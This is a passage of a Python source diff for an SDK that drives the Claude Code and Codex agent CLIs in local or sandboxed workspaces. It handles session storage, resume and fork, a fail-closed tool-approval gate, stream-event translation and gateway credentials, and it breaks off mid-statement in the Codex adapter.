dropped = _handoff.reasoning_count(history) + if dropped: + warnings.warn( + f"{dropped} reasoning part(s) in the history were not carried " + "into " + + "claude-code: Anthropic's safeguards refuse replayed model " + "reasoning " + + "([reasoning_extraction]). Text and tool calls were carried " + "in full.", + stacklevel=2, + ) + store = ( + self._store + or await claude_store.WorkspaceSessionStore.discover( + self._workspace + ) + ) + await store.append( + { + "project_key": claude_agent_sdk.project_key_for_directory( + self._workspace.path + ), + "session_id": session_id, + }, + cast( + "list[claude_agent_sdk.SessionStoreEntry]", + _handoff.to_claude_records( + history, session_id, self._workspace.path + ), + ), + ) + return session_id + + async def new_session( + self, history: list[messages_.Message] | None = None + ) -> str: + if history: + session_id = await self.stage_history(history) + await self._acquire(session_id) + await self._connect(session_id, resume=session_id) + await self._publish_pid(session_id) + return session_id + session_id = str(uuid.uuid4()) + await self._acquire(session_id) + await self._connect(session_id, resume=None) + await self._publish_pid(session_id) + return session_id + + async def resume_session(self, session_id: str) -> None: + # Check the store first: connecting to a ghost surfaces as + # claude-agent-sdk's own ResultError somewhere downstream, which is + # not an error a caller of THIS library can be asked to catch. + await self._require_known(session_id) + await self._acquire(session_id) + try: + await self._connect(session_id, resume=session_id) + except Exception as exc: + await self._release(session_id) + raise errors.ResumeFailedError(session_id, str(exc)) from exc + await self._publish_pid(session_id) + + async def _require_known(self, session_id: str) -> None: + assert self._workspace is not None + try: + if self._store is not None: + key = claude_agent_sdk.project_key_for_directory( + self._workspace.path + ) + known = { + e["session_id"] + for e in await self._store.list_sessions(key) + } + info: Any = session_id if session_id in known else None + else: + info = await asyncio.to_thread( + claude_agent_sdk.get_session_info, + session_id, + self._workspace.path, + ) + except Exception as exc: + raise errors.ResumeFailedError(session_id, str(exc)) from exc + if info is None: + raise errors.ResumeFailedError( + session_id, + f"no such session in workspace {self._workspace.path}", + ) + + async def _acquire(self, session_id: str) -> None: + """Refuse before launching a second CLI: one writer per conversation.""" + if self._lock is None or session_id in self._held: + return + await self._lock.acquire(session_id, client=KIND) + self._held.add(session_id) + + async def _publish_pid(self, session_id: str) -> None: + client = self._clients.get(session_id) + process = getattr(getattr(client, "_transport", None), "_process", None) + if self._lock is None or process is None: + return + pid = ( + await process.os_pid() + if hasattr(process, "os_pid") + else getattr(process, "pid", None) + ) + await self._lock.claim_pid(session_id, pid, client=KIND) + + async def _release(self, session_id: str) -> None: + self._held.discard(session_id) + if self._lock is not None: + with contextlib.suppress(Exception): + await self._lock.release(session_id) + + async def prepare_tui(self) -> None: + # The claude TUI's first run walks a theme picker and a security + # notice and never reaches a prompt until onboarding is marked done. + # On a sandbox that is ours, mark it done so tui() opens on a prompt; + # never write into a user's own ~/.claude.json. + if self._workspace is None or self._workspace.owner != "provider": + return + path = f"{await self._workspace.home()}/.claude.json" + try: + config = json.loads(await self._workspace.read_text(path)) + except (FileNotFoundError, ValueError): + config = {} + # Two gates: the global onboarding walk, and a PER-PROJECT trust + # dialog ("do you trust the files in this folder?") that appears the + # first time the TUI opens in a directory. Both must be marked done, + # or the TUI opens on a dialog and the first keystrokes answer it. + workdir = self._workspace.path + project = config.setdefault("projects", {}).setdefault(workdir, {}) + # A third gate: a real ANTHROPIC_API_KEY in the TUI's environment + # brings up "use this API key? — No (recommended)", and a keystroke + # meant for the prompt picks No. Claude records approvals by the + # key's last 20 characters; pre-approve the key we are launching with. + env = {**dict(self._workspace.env), **self._gateway_env} + key = env.get("ANTHROPIC_API_KEY") or "" + approvals = config.setdefault( + "customApiKeyResponses", {"approved": [], "rejected": []} + ) + key_ok = not key or key[-20:] in approvals.get("approved", []) + already = ( + config.get("hasCompletedOnboarding") + and config.get("bypassPermissionsModeAccepted") + and project.get("hasTrustDialogAccepted") + and key_ok + ) + if already: + return + if key and key[-20:] not in approvals.setdefault("approved", []): + approvals["approved"].append(key[-20:]) + config.update( + hasCompletedOnboarding=True, + bypassPermissionsModeAccepted=True, + theme="dark", + ) + project.update( + hasTrustDialogAccepted=True, + hasCompletedProjectOnboarding=True, + ) + await self._workspace.write_text(path, json.dumps(config)) + + def tui_launch( + self, session_id: str | None + ) -> tuple[list[str], dict[str, str], str | None]: + assert self._workspace is not None + running_as = session_id or str(uuid.uuid4()) + argv = [self._executable] + argv += ( + ["--resume", session_id] + if session_id + else ["--session-id", running_as] + ) + if self._model: + argv += ["--model", self._model] + # DISABLE_AUTOUPDATER: measured, the TUI otherwise updates itself in + # the background and announces "Restart to apply" mid-session. + env = { + "TERM": "xterm-256color", + "DISABLE_AUTOUPDATER": "1", + **dict(self._workspace.env), + **self._gateway_env, + } + return argv, env, running_as + + def _auth_hint(self) -> str: + if self._gateway is not None and self._gateway.is_brokered: + return BROKERED_HINT.format(host=self._gateway.host) + return AUTH_HINT + + async def claim_new_session(self, session_id: str) -> None: + # A minted --session-id is not in the store yet; lock it directly so + # the open TUI shows as running and refuses a second writer. + await self._acquire(session_id) + + async def record_tui_pid(self, session_id: str, pid: int | None) -> None: + if self._lock is not None and pid is not None: + await self._lock.claim_pid(session_id, pid, client=KIND) + + async def release_tui_lock(self, session_id: str) -> None: + await self._release(session_id) + + async def resume_session_lock(self, session_id: str) -> None: + await self._require_known(session_id) + await self._acquire(session_id) + + async def running_sessions(self) -> set[str]: + return await self._lock.running() if self._lock is not None else set() + + async def close_session(self, session_id: str) -> None: + client = self._clients.pop(session_id, None) + self._contexts.pop(session_id, None) + if client is not None: + with contextlib.suppress(Exception): + await client.disconnect() + await self._release(session_id) + + async def _connect(self, session_id: str, *, resume: str | None) -> None: + assert self._workspace is not None + options: dict[str, Any] = { + "cwd": self._workspace.path, + # Raw Anthropic stream events, which map 1:1 onto the AI SDK's + # Start/Delta/End triples. Without this the SDK only yields whole + # messages, so a turn interrupted mid-answer would settle with + # nothing — a deadline has to be a settlement, not a loss. + "include_partial_messages": True, + "session_id": session_id if resume is None else None, + "resume": resume, + } + # claude-agent-sdk spawns the CLI itself, so the workspace never + # gets to apply its own environment the way it does for a process + # we spawn through it. Pass it explicitly instead. A gateway's env + # is this harness's credentials — narrower than the workspace's + # task configuration — so it goes on top. + env = {**dict(self._workspace.env), **self._gateway_env} + if env: + options["env"] = env + if self._model: + options["model"] = self._model + if self._effort: + # Reasoning effort, with adaptive thinking so the budget follows + # it. The CLI's own default applies when none is asked for. + options["effort"] = self._effort + options["thinking"] = {"type": "adaptive"} + # A hook is a gate answered by THIS process — a round-trip to the + # controller for every gated call. No hook means there is no policy + # to consult, so no gate is installed and the CLI applies its own + # allow-everything mode instead. Measured: with an always-allow gate + # here, an agent whose controller died froze at its next tool call + # waiting for an answer; with the mode set in the CLI it finished + # 40/40 files unattended. Same behaviour attached, and it keeps + # working when nobody is. `approve=` is how you restrict it — and it + # means the controller must stay alive to answer. + if self.approve is not None: + options["can_use_tool"] = self._make_can_use_tool(session_id) + else: + options["permission_mode"] = "bypassPermissions" + agent_options = claude_agent_sdk.ClaudeAgentOptions(**options) + transport = None + if self._workspace is not None and self._workspace.kind != "local": + transport = remote_cli.RemoteCliTransport( + self._workspace, + agent_options, + executable=self._executable, + ) + client = claude_agent_sdk.ClaudeSDKClient( + options=agent_options, transport=transport + ) + await client.connect() + self._clients[session_id] = client + + def _client(self, session_id: str) -> Any: + client = self._clients.get(session_id) + if client is None: + raise RuntimeError(f"unknown session {session_id}") + return client + + # -- approval ------------------------------------------------------------- + + def _make_can_use_tool( + self, session_id: str + ) -> claude_agent_sdk.CanUseTool: + async def can_use_tool( + name: str, + tool_input: dict[str, Any], + ctx: claude_agent_sdk.ToolPermissionContext, + ) -> claude_agent_sdk.PermissionResult: + # EVERYTHING here is guarded, not just the hook call: a bug of + # ours must deny and be reported, never vanish into the agent as + # an opaque internal error. + try: + return await self._decide(session_id, name, tool_input, ctx) + except Exception as exc: + self._record_error(f"{type(exc).__name__}: {exc}") + return claude_agent_sdk.PermissionResultDeny( + message="approval failed; denied" + ) + + return can_use_tool + + async def _decide( + self, + session_id: str, + name: str, + tool_input: dict[str, Any], + ctx: claude_agent_sdk.ToolPermissionContext, + ) -> claude_agent_sdk.PermissionResult: + assert ( + self.approve is not None + ), "the gate is only installed with a hook" + assert self._workspace is not None + call = _approval.ToolCall( + id=getattr(ctx, "tool_use_id", None) + or f"call-{uuid.uuid4().hex[:12]}", + # The VERIFIED native name, from the SDK's own callback — + # never display text an agent can influence. + name=name, + input=dict(tool_input), + agent_id=getattr(ctx, "agent_id", None), + hints={"blocked_path": getattr(ctx, "blocked_path", None)}, + raw={"tool_name": name, "input": tool_input}, + ) + request = _approval.ApprovalContext( + call=call, + history=list(self.live_history(session_id)), + workspace=self._workspace, + harness=KIND, + session_id=session_id, + prompt=self._contexts.get(session_id, {}).get("prompt"), + ) + assert self.approve is not None + try: + async with asyncio.timeout(self.approval_timeout): + decision = await self.approve(request) + except (Exception, TimeoutError) as exc: + # An approval gate that fails open is not a gate. + self._record_error(f"{type(exc).__name__}: {exc}") + return claude_agent_sdk.PermissionResultDeny( + message="approval hook failed; denied" + ) + if isinstance(decision, _approval.Deny): + if decision.stop: + # We are ending this turn on purpose. The CLI reports an + # error result after an interrupt, so remember that we asked + # for it and settle as cancelled instead of raising. + self._interrupted.add(session_id) + return claude_agent_sdk.PermissionResultDeny( + message=decision.reason or "denied by policy", + interrupt=decision.stop, + ) + if isinstance(decision, _approval.Allow): + if decision.remember: + # Parked and re-raised on the turn: an unsupported request + # must reach the CALLER, and an exception thrown inside the + # harness's permission callback does not. + self._pending_error = errors.UnsupportedError( + KIND, + "remember", + "session-scoped permission rules do not suppress the next " + + "identical request, and the alternative would silently " + + "widen authority to all edits", + ) + return claude_agent_sdk.PermissionResultDeny( + message="remember is unsupported here" + ) + return claude_agent_sdk.PermissionResultAllow( + updated_input=decision.input + ) + return claude_agent_sdk.PermissionResultDeny( + message="approval hook returned no decision" + ) + + def _record_error(self, detail: str) -> None: + if callable(self.on_approval_error): + self.on_approval_error(detail) + + # -- turns ---------------------------------------------------------------- + + async def turn( + self, session_id: str, prompt: str + ) -> AsyncIterator[events_.AgentEvent]: + client = self._client(session_id) + turn_session_id = session_id + # An interrupted turn leaves its trailing result unread on the + # client: the CLI still emits one (as an error) after the interrupt. + # Consume it before prompting, or THIS turn would settle on the + # previous turn's ending. + await self._drain_interrupted(session_id) + state = self._contexts.setdefault(session_id, {"prompt": None}) + state["prompt"] = prompt + + parts: list[Any] = [] + names: dict[str, str] = {} + open_blocks: dict[int, str] = {} + text_so_far: list[str] = [] + self._pending_error = None + try: + await client.query(prompt) + except claude_agent_sdk.ClaudeSDKError as exc: + raise _translate(exc) from exc + # StreamStart only once the CLI has answered for this turn — its + # first message is proof it READ the prompt. "Written to the + # transport" is not: in a sandbox the prompt travels through an + # interactive session into the CLI's stdin, and a detach right after + # the write closed that session with the prompt still in transit + # (measured: an unattended push whose agent never saw its prompt). + # A consumer may act on the first event; it must mean the turn is live. + started = False + async for message in _guard(client.receive_response()): + if not started: + started = True + yield events_.StreamStart() + if isinstance(message, claude_agent_sdk.StreamEvent): + # Text and reasoning stream here, token by token. The + # complete AssistantMessage that follows repeats them, so + # only tool calls are taken from it. + for event in _stream_events(message.event, open_blocks): + if isinstance(event, events_.TextDelta): + text_so_far.append(event.chunk) + yield event + elif isinstance(message, claude_agent_sdk.AssistantMessage): + for block in message.content: + if ( + isinstance(block, claude_agent_sdk.TextBlock) + and block.text + ): + parts.append(messages_.TextPart(text=block.text)) + elif isinstance(block, claude_agent_sdk.ToolUseBlock): + # tool_args is a JSON STRING in the AI SDK's model, + # not a mapping. + call = messages_.ToolCallPart( + tool_call_id=block.id, + tool_name=block.name, + tool_args=json.dumps(block.input), + ) + names[block.id] = block.name + parts.append(call) + yield events_.ToolStart( + tool_call_id=block.id, tool_name=block.name + ) + # claude-agent-sdk hands over a complete block, so the + # call's arguments are final the moment it arrives — + # but they still travel as a delta. The hydrator + # builds a call's arguments ONLY from ToolDeltas and + # then replaces ToolEnd.tool_call with its own copy, + # so without this one chunk every consumer, and the + # session's own history, saw tool_args="". + yield events_.ToolDelta( + tool_call_id=block.id, chunk=call.tool_args + ) + yield events_.ToolEnd( + tool_call_id=block.id, tool_call=call + ) + elif isinstance(message, claude_agent_sdk.UserMessage): + for block in ( + message.content if isinstance(message.content, list) else [] + ): + if isinstance(block, claude_agent_sdk.ToolResultBlock): + result = messages_.ToolResultPart( + tool_call_id=block.tool_use_id, + tool_name=names.get(block.tool_use_id, ""), + result=block.content, + result_kind="error" if block.is_error else "json", + ) + # Tool results are their own message in the AI SDK's + # model (role "tool"), not parts of the assistant's. + yield events_.ToolCallResult( + message=messages_.Message( + role="tool", parts=[result] + ), + results=[result], + ) + elif isinstance(message, claude_agent_sdk.ResultMessage): + assistant = messages_.Message(role="assistant", parts=parts) + if self._pending_error is not None: + error, self._pending_error = self._pending_error, None + raise error + interrupted = turn_session_id in self._interrupted + self._interrupted.discard(turn_session_id) + yield events_.StreamEnd( + message=assistant, + usage=_usage(message), + finish_reason=_finish_reason( + message, interrupted=interrupted, hint=self._auth_hint() + ), + ) + + # -- stored conversations ------------------------------------------------- + + async def list_sessions(self) -> list[_session.SessionInfo]: + assert self._workspace is not None + if self._store is not None: + infos = await claude_agent_sdk.list_sessions_from_store( + self._store, self._workspace.path + ) + else: + infos = await asyncio.to_thread( + claude_agent_sdk.list_sessions, self._workspace.path + ) + return [ + _session.SessionInfo( + kind=KIND, + session_id=i.session_id, + title=i.custom_title or i.summary or i.first_prompt, + cwd=i.cwd, + updated_at=i.last_modified, + created_at=i.created_at, + ) + for i in infos + ] + + async def history( + self, session_id: str, *, limit: int | None = None, offset: int = 0 + ) -> list[messages_.Message]: + """Return the CLI's own transcript, in full. + + `SessionMessage.message` is the raw Anthropic message, so every + content block survives — text, thinking, tool_use and tool_result — + and is mapped to the same AI SDK parts a live turn produces. + """ + assert self._workspace is not None + await self._require_known(session_id) + try: + if self._store is not None: + stored = await claude_agent_sdk.get_session_messages_from_store( + self._store, session_id, self._workspace.path, limit, offset + ) + else: + stored = await asyncio.to_thread( + claude_agent_sdk.get_session_messages, + session_id, + self._workspace.path, + limit, + offset, + ) + except Exception as exc: + raise errors.ResumeFailedError(session_id, str(exc)) from exc + messages: list[messages_.Message] = [] + for record in stored: + messages.extend(_stored_to_messages(record)) + return messages + + async def fork(self, session_id: str) -> str: + assert self._workspace is not None + await self._require_known(session_id) + try: + if self._store is not None: + # The SDK remaps every UUID and rewrites the chain; this + # store only carries the bytes into the VM. + result = await claude_agent_sdk.fork_session_via_store( + self._store, session_id, self._workspace.path + ) + else: + result = await asyncio.to_thread( + claude_agent_sdk.fork_session, + session_id, + self._workspace.path, + ) + forked = result.session_id + await self._acquire(forked) + await self._connect(forked, resume=forked) + await self._publish_pid(forked) + except errors.ResumeFailedError: + raise + except Exception as exc: + raise errors.ResumeFailedError( + session_id, f"fork failed: {exc}" + ) from exc + return forked + + async def _drain_interrupted(self, session_id: str) -> None: + if session_id not in self._interrupted: + return + + client = self._clients.get(session_id) + self._interrupted.discard(session_id) + if client is None: + return + with contextlib.suppress(Exception): + async with asyncio.timeout(30): + async for message in client.receive_response(): + if isinstance(message, claude_agent_sdk.ResultMessage): + break + + async def steer(self, session_id: str, text: str) -> None: + """Send a message to the running turn. + + `query()` writes straight to the CLI's stdin without waiting, so a + message can land while the turn is still running. + """ + if not self.capabilities.steer: + raise errors.UnsupportedError(KIND, "steer") + await self._client(session_id).query(text) + + async def stop(self, session_id: str) -> None: + self._interrupted.add(session_id) + with contextlib.suppress(Exception): + await self._client(session_id).interrupt() + + +def _usage(message: Any) -> Any: + raw = message.usage or {} + return usage_.Usage( + input_tokens=int(raw.get("input_tokens", 0)), + output_tokens=int(raw.get("output_tokens", 0)), + cache_read_tokens=int(raw.get("cache_read_input_tokens", 0)), + cache_write_tokens=int(raw.get("cache_creation_input_tokens", 0)), + # Cost has no home in the AI SDK's Usage model; the harness's own + # numbers ride in `raw` rather than being dropped or invented. + raw={"cost_usd": message.total_cost_usd, "claude": raw}, + ) + + +AUTH_HINT = ( + "claude authenticates where it RUNS. On a Local workspace that is your " + "own login — run `claude` once and sign in. A sandbox is another " + "machine that has never seen it, so give it a way to reach a model: " + "VercelSandbox(gateway=vercel_ai_gateway()) injects a gateway key at " + "egress, or VercelSandbox(env={'ANTHROPIC_API_KEY': ...}) puts a key of " + "its own in the VM." +) +BROKERED_HINT = ( + "This workspace injects the credential into requests to {host} at egress, " + "so the CLI never held it and no login in the VM is involved. A 401 here " + "means the gateway rejected the injected key — check AI_GATEWAY_API_KEY on " + "the machine that opened the sandbox — or the egress policy is not " + "rewriting requests to that host." +) + + +def gateway_env(gateway: _gateway.Gateway | None) -> dict[str, str]: + """Tell Claude Code where its model is, through its environment. + + This is the one place that spelling lives. + """ + if gateway is None: + return {} + return { + "ANTHROPIC_BASE_URL": f"{gateway.base_url}/claude-code", + "ANTHROPIC_AUTH_TOKEN": gateway.credential, + # Required, and required to be EMPTY: Claude Code checks this first, + # so any value here would send the traffic straight past the gateway + # while everything still appeared to work. + "ANTHROPIC_API_KEY": "", + # Puts every gateway model in the CLI's own picker. + "CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY": "1", + } + + +def _finish_reason( + message: Any, *, interrupted: bool = False, hint: str = AUTH_HINT +) -> str: + subtype = message.subtype or "" + if interrupted: + # We asked for this. The CLI reports an error result after an + # interrupt; surfacing that as a failure would turn every + # deliberate stop into an exception. + return "cancelled" + if subtype == "error_max_turns": + return "length" + if getattr(message, "is_error", False): + # An errored turn is a failure, not the model declining. "refusal" + # is reserved for the model saying no, and an infrastructure error + # is not that. + detail = str( + getattr(message, "result", None) or subtype or "unknown error" + )[:500] + if errors._looks_unauthenticated(detail): + raise workspace_errors.NotAuthenticatedError(KIND, detail, hint) + raise errors.TurnFailedError(KIND, detail) + return "stop" + + +def _translate(exc: BaseException) -> BaseException: + """One harness library exception -> this SDK's taxonomy.""" + if isinstance(exc, claude_agent_sdk.CLINotFoundError): + return errors.ExecutableMissingError(KIND, "claude", INSTALL) + if isinstance(exc, claude_agent_sdk.ProcessError): + return errors.AgentCrashedError( + KIND, str(exc), getattr(exc, "exit_code", None) + ) + if isinstance(exc, claude_agent_sdk.CLIConnectionError): + return errors.AgentCrashedError(KIND, f"lost the CLI connection: {exc}") + if isinstance(exc, claude_agent_sdk.CLIJSONDecodeError): + return errors.AgentCrashedError( + KIND, f"unparseable output from the CLI: {exc}" + ) + return exc + + +async def _guard(stream: Any) -> Any: + """Re-raise harness-library failures as ours, mid-stream included. + + A turn that dies half way through must not surface as claude-agent-sdk's + internal exception type — the caller cannot be expected to import it. + """ + try: + async for item in stream: + yield item + except claude_agent_sdk.ClaudeSDKError as exc: + raise _translate(exc) from exc + + +def _stream_events( + raw: dict[str, Any], open_blocks: dict[int, str] +) -> list[Any]: + """One raw Anthropic stream event -> AI SDK events. + + `open_blocks` tracks which content-block index is text vs thinking, so + the closing event emits the matching End. + """ + kind = raw.get("type") + index = raw.get("index", 0) + out: list[Any] = [] + block_id = f"b{index}" + if kind == "content_block_start": + block = raw.get("content_block") or {} + block_type = block.get("type") + if block_type == "text": + open_blocks[index] = "text" + out.append(events_.TextStart(block_id=block_id)) + elif block_type == "thinking": + open_blocks[index] = "thinking" + out.append(events_.ReasoningStart(block_id=block_id)) + elif kind == "content_block_delta": + delta = raw.get("delta") or {} + delta_type = delta.get("type") + if delta_type == "text_delta" and delta.get("text"): + out.append( + events_.TextDelta(chunk=delta["text"], block_id=block_id) + ) + elif delta_type == "thinking_delta" and delta.get("thinking"): + out.append( + events_.ReasoningDelta( + chunk=delta["thinking"], block_id=block_id + ) + ) + elif kind == "content_block_stop": + opened = open_blocks.pop(index, None) + if opened == "text": + out.append(events_.TextEnd(block_id=block_id)) + elif opened == "thinking": + out.append(events_.ReasoningEnd(block_id=block_id)) + return out + + +def _stored_to_messages(record: Any) -> list[messages_.Message]: + """One stored transcript record -> AI SDK messages. + + Tool results become their own role="tool" message, exactly as a live + turn produces them, so a replayed conversation and a watched one are + indistinguishable downstream. + """ + raw = record.message if isinstance(record.message, dict) else {} + role = raw.get("role") or record.type + content = raw.get("content") + blocks = ( + content + if isinstance(content, list) + else ( + [{"type": "text", "text": content}] + if isinstance(content, str) + else [] + ) + ) + parts: list[Any] = [] + tool_results: list[Any] = [] + for block in blocks: + if not isinstance(block, dict): + continue + kind = block.get("type") + if kind == "text" and block.get("text"): + parts.append(messages_.TextPart(text=block["text"])) + elif kind == "thinking" and block.get("thinking"): + parts.append(messages_.ReasoningPart(text=block["thinking"])) + elif kind == "tool_use": + parts.append( + messages_.ToolCallPart( + tool_call_id=block.get("id", ""), + tool_name=block.get("name", ""), + tool_args=json.dumps(block.get("input") or {}), + ) + ) + elif kind == "tool_result": + tool_results.append( + messages_.ToolResultPart( + tool_call_id=block.get("tool_use_id", ""), + tool_name="", + result=block.get("content"), + result_kind="error" if block.get("is_error") else "json", + ) + ) + out: list[messages_.Message] = [] + if parts and role in ("user", "assistant"): + out.append(messages_.Message(role=role, parts=parts, replay=True)) + if tool_results: + out.append( + messages_.Message(role="tool", parts=tool_results, replay=True) + ) + return out diff --git a/src/ai/harnesses/experimental/_adapters/claude_store.py b/src/ai/harnesses/experimental/_adapters/claude_store.py new file mode 100644 index 00000000..e3e8b1e3 --- /dev/null +++ b/src/ai/harnesses/experimental/_adapters/claude_store.py @@ -0,0 +1,131 @@ +"""The claude CLI's session store, read through the workspace it lives in. + +Sessions belong to the harness, and the harness keeps them on disk WHERE IT +RUNS — `$CLAUDE_CONFIG_DIR/projects//.jsonl`, or `~/.claude` +when unset. On your own machine claude-agent-sdk reads that directly. In a +microVM the CLI's home is the VM's, and reading this machine's `~/.claude` +for a `/vercel/sandbox` project finds nothing — measured: `sessions()` +returned `[]` for a conversation that had just happened. + +claude-agent-sdk designed a seam for exactly this: a duck-typed +`SessionStore` whose `load`/`list_sessions`/`append` it drives from +`list_sessions_from_store`, `get_session_messages_from_store` and +`fork_session_via_store` — the SDK keeps doing every bit of parsing, UUID +remapping and `parentUuid` chaining. This class only moves bytes across +the workspace boundary. Transcript lines are pass-through blobs. +""" + +from __future__ import annotations + +import json +import posixpath +from typing import TYPE_CHECKING, cast + +import claude_agent_sdk + +if TYPE_CHECKING: + from claude_agent_sdk import types as sdk_types + + from ....workspaces.experimental import _base + + +class WorkspaceSessionStore(claude_agent_sdk.SessionStore): + def __init__(self, workspace: _base.Workspace, config_dir: str) -> None: + self._ws = workspace + self._projects = posixpath.join(config_dir, "projects") + + @classmethod + async def discover( + cls, workspace: _base.Workspace + ) -> WorkspaceSessionStore: + """Resolve the CLI's config dir the way the CLI does, in the VM.""" + override = await workspace.exec(["printenv", "CLAUDE_CONFIG_DIR"]) + config_dir = override.stdout.strip() if override.exit_code == 0 else "" + return cls(workspace, config_dir or f"{await workspace.home()}/.claude") + + def _path(self, key: sdk_types.SessionKey) -> str: + project_dir = posixpath.join(self._projects, key["project_key"]) + subpath = key.get("subpath") + if subpath: + # Subagent transcripts nest under the main session's directory, + # mirroring the on-disk layout the SDK describes. + return posixpath.join( + project_dir, key["session_id"], f"{subpath}.jsonl" + ) + return posixpath.join(project_dir, f"{key['session_id']}.jsonl") + + async def load( + self, key: sdk_types.SessionKey + ) -> list[sdk_types.SessionStoreEntry] | None: + # One round trip: read_text raises FileNotFoundError for a missing + # file, so checking first only doubled the cost of every load. + try: + text = await self._ws.read_text(self._path(key)) + except FileNotFoundError: + return None + return [ + cast("sdk_types.SessionStoreEntry", json.loads(line)) + for line in text.splitlines() + if line.strip() + ] + + async def list_sessions( + self, project_key: str + ) -> list[sdk_types.SessionStoreListEntry]: + project_dir = posixpath.join(self._projects, project_key) + # GNU find in the VM: name and mtime in one round trip. The SDK's + # contract is milliseconds; find gives fractional seconds. A project + # with no sessions yet has no directory: find exits non-zero with + # nothing on stdout, which is exactly "no entries". + result = await self._ws.exec( + [ + "find", + project_dir, + "-maxdepth", + "1", + "-name", + "*.jsonl", + "-printf", + "%f %T@\n", + ] + ) + entries: list[sdk_types.SessionStoreListEntry] = [] + for line in result.stdout.splitlines() if result.exit_code == 0 else []: + name, _, mtime = line.strip().partition(" ") + if not name.endswith(".jsonl"): + continue + entries.append( + { + "session_id": name[: -len(".jsonl")], + "mtime": int(float(mtime or 0) * 1000), + } + ) + return entries + + async def append( + self, + key: sdk_types.SessionKey, + entries: list[sdk_types.SessionStoreEntry], + ) -> None: + """Append entries; the SDK's fork uses this to write the new branch. + + Create-or-extend, like the reference store: a fork is a fresh file, but + appending to an existing one must not clobber it. + """ + path = self._path(key) + await self._ws.exec(["mkdir", "-p", posixpath.dirname(path)]) + try: + existing = await self._ws.read_text( + path + ) # one round trip, not a check and a read + except FileNotFoundError: + existing = "" + lines = "".join( + json.dumps(e, separators=(",", ":")) + "\n" for e in entries + ) + await self._ws.write_text(path, existing + lines) + # Date it now. A file written through the sandbox's file API is + # stamped 1970, and a running claude CLI deletes transcripts it takes + # for ancient (measured: a fork's file vanished before its CLI could + # resume it, and which write won the race decided whether fork worked). + await self._ws.exec(["touch", path]) diff --git a/src/ai/harnesses/experimental/_adapters/codex.py b/src/ai/harnesses/experimental/_adapters/codex.py new file mode 100644 index 00000000..82dc1b7c --- /dev/null +++ b/src/ai/harnesses/experimental/_adapters/codex.py @@ -0,0 +1,1196 @@ +"""Codex, driven through `codex app-server`. + +Chosen over `codex exec --json` because exec cannot be controlled: one +process per turn, stdin unused, no approval channel. app-server has +`turn/steer`, `turn/interrupt` and `item/*/requestApproval`, which is the +whole point of this SDK. + +The protocol shapes here were learned by running the server and reading +what it sent, not from the schema alone. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import importlib.metadata +import json +from typing import TYPE_CHECKING, Any + +from ....types import events as events_ +from ....types import messages as messages_ +from ....types import usage as usage_ +from ....workspaces.experimental import _base, _gateway +from ....workspaces.experimental import errors as workspace_errors +from .. import ( + _approval, + _capabilities, + _handoff, + _session, + _session_lock, + errors, +) +from . import base, jsonrpc + +if TYPE_CHECKING: + from collections.abc import AsyncIterator + +KIND = "codex" +# Internal marker delivered on a turn queue when the process dies. +CRASHED = "__crashed__" +INSTALL = "npm install -g @openai/codex" + +# Codex asks only when its own policy escalates — sandbox escapes, blocked +# network, MCP prompts — so coverage is "policy", like Claude's, for a +# different reason. `acceptForSession` is a real persist-this-decision. +CAPABILITIES = _capabilities.Capabilities( + steer=True, + stop=True, + resume=True, + fork=True, + history=True, + rewrite_tool_input=False, # accept / acceptForSession / decline only + # Measured: answering `acceptForSession` did NOT stop the next identical + # fileChange being asked about. The protocol offers the verb; the + # behavior did not follow, so the capability says false. + remember_decisions=False, + images=True, + approval="policy", +) + +APPROVAL_METHODS = ( + "item/commandExecution/requestApproval", + "item/fileChange/requestApproval", + "item/permissions/requestApproval", + "execCommandApproval", + "applyPatchApproval", +) + +# Item types that are the agent doing something, rather than speaking. +TOOL_ITEMS = ( + "fileChange", + "commandExecution", + "mcpToolCall", + "webSearch", + "toolCall", +) + + +class CodexAdapter: + kind = KIND + capabilities = CAPABILITIES + + def __init__( + self, + executable: str = "codex", + model: str | None = None, + sandbox: str | None = None, + config: dict[str, Any] | None = None, + gateway: _gateway.Gateway | None = None, + ) -> None: + self._executable = executable + self._model = model + self._sandbox = sandbox + self._sandbox_explicit = sandbox is not None + self._gateway = gateway + # Passed to app-server as `-c key=value`, the same overrides the + # codex CLI takes. This is how you point it at a model provider + # without writing ~/.codex/config.toml on the far side. A gateway + # supplies the provider table; an explicit config= wins over it. + self._explicit_config = dict(config or {}) + self._config = {**gateway_config(gateway), **self._explicit_config} + self._gateway_env: dict[str, str] = gateway_env(gateway) + self._version: str | None = None + self._workspace: _base.Workspace | None = None + self._process: _base.Process | None = None + self._lock: _session_lock.SessionLock | None = None + self._held: set[str] = set() + self._peer: jsonrpc.JsonRpcPeer | None = None + self._threads: set[str] = set() + self._active_turn: dict[str, str] = {} + self._queues: dict[str, asyncio.Queue[Any]] = {} + self._usage: dict[str, usage_.Usage] = {} + self._interrupted: set[str] = set() + self._pending_interrupt: dict[str, dict[str, str]] = {} + self._closed = False + # An error raised while answering an approval cannot propagate out + # of the JSON-RPC pump — nobody is awaiting it there. It is parked + # and re-raised on the turn that caused it. + self._pending_error: BaseException | None = None + self.approve: base.ApprovalHook | None = None + self.approval_timeout: float = 300.0 + self.on_approval_error: Any = None + self.live_history: Any = lambda session_id: [] + + @property + def version(self) -> str | None: + return self._version + + @property + def process_ids(self) -> list[int]: + pid = getattr(self._process, "pid", None) + return [pid] if isinstance(pid, int) else [] + + # -- lifecycle ------------------------------------------------------------ + + async def start( + self, workspace: _base.Workspace, options: dict[str, Any] + ) -> None: + if not workspace.duplex_spawn: + # app-server is a stdio protocol. A workspace that cannot give a + # process a writable stdin cannot host it, and pretending + # otherwise would fail later and less clearly. + raise errors.UnsupportedError( + KIND, + f"{workspace.kind} workspaces", + "app-server speaks JSON-RPC over stdin, which this workspace " + + "cannot provide", + ) + # An explicit gateway wins; otherwise the workspace's. Where the + # workspace injects the credential at egress, codex is handed the + # placeholder — the provider table names an env var, and that var + # carries a value the firewall overwrites on the way out. + gateway = self._gateway or workspace.gateway + if gateway is not None and workspace.injects_credentials_for( + gateway.host + ): + gateway = gateway.brokered() + self._gateway = gateway + self._config = {**gateway_config(gateway), **self._explicit_config} + self._gateway_env = gateway_env(gateway) + if ( + self._sandbox_explicit + and workspace.owner == "provider" + and self._sandbox != "danger-full-access" + ): + # Measured in a Vercel Sandbox: codex's own sandbox runs every + # command through bubblewrap, which cannot start inside the + # microVM (bwrap reports unexpected capabilities). So + # read-only and workspace-write fail every command, reads + # included, and the turn just narrates the failure. Refuse + # before anything runs; the VM is already the boundary. + raise 